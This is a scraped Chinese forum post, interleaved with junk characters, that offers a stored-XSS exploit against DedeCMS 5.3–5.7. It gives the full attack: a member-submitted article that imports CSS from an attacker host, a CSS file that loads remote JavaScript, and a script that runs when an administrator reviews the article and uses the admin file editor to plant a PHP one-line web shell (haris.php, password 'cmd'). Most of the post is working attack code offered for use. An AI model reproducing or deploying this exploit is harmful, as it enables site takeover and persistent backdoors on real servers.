dedecms xss oday通杀所有版本 可getshell

admin

<DIV id=read_tpc mb10?>漏洞原因：由于编辑器过滤不严，将导致恶意脚本运行。可getshell
" V4 h) w5 M2 _* z; L! Y( Q# X为什么说它是ODay呢，能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
" i; ^% Z1 V! Q6 j8 g& ]下面说说利用方法。
条件有2个：
1.开启注册
5 ~) p7 d0 v$ A' K2 m$ f: F$ I2.开启投稿
注册会员----发表文章
" K. N, g8 P1 k内容填写：
8 @/ `( Z. n7 ?' A' W" y% c+ ^复制代码
<style>@im\port'\http://xxx.com/xss.css';</style>
& `# E+ `6 {7 n7 U: X/ L# w$ z新建XSS.Css
5 z& X- X& i. N/ E( f' L7 m复制代码
.body{
* J3 m) m7 P+ }* Y8 V( F1 tbackground-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
新建xss.js 内容为
复制代码
" @* Z. x5 T( x1.var request = false;
2.if(window.XMLHttpRequest) {
% g# I4 R! J* W6 _3.request = new XMLHttpRequest();
6 D. `7 p; @1 n7 W1 E* K4.if(request.overrideMimeType) {
. q! l- b9 d+ s( M+ O6 N5.request.overrideMimeType('text/xml');
6.}
7.} else if(window.ActiveXObject) {
1 _0 R* K$ E4 f7 ~& y+ Y8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
9.for(var i=0; i<versions.length; i++) {
" ]! |9 ^0 B6 O9 a3 `; N) E) ]! E10.try {
; @1 |/ f4 M3 y" @& X1 `11.request = new ActiveXObject(versions);
12.} catch(e) {}
13.}
14.}
3 w  ]. Y( |+ o& R& b% N: @15.xmlhttp=request;
# B- `! {4 E7 \# B1 ?5 x; x16.function getFolder( url ){
17. obj = url.split('/')
18. return obj[obj.length-2]
5 Q, K" ^# l& C19.}
20.oUrl = top.location.href;
21.u = getFolder(oUrl);
22.add_admin();
$ \, Y* J; \9 w23.function add_admin(){
24.var url= "/"+u+"/sys_sql_query.php";
$ m0 h- b" S0 O! H# d+ A; W25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
26.xmlhttp.open("POST", url, true);
2 b8 A) z3 r+ }9 V, D27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
# @( h+ ]  a8 A# W# I28.xmlhttp.setRequestHeader("Content-length", params.length);
" h" X5 W7 U% e) `4 @, U( i2 W29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
' q9 @9 h0 l1 f% T) @30.xmlhttp.send(params);
31.}
/ m# k4 v% c6 q* G; ?当管理员审核这篇文章的时候，将自动在data目录生成一句话haris.php。密码cmd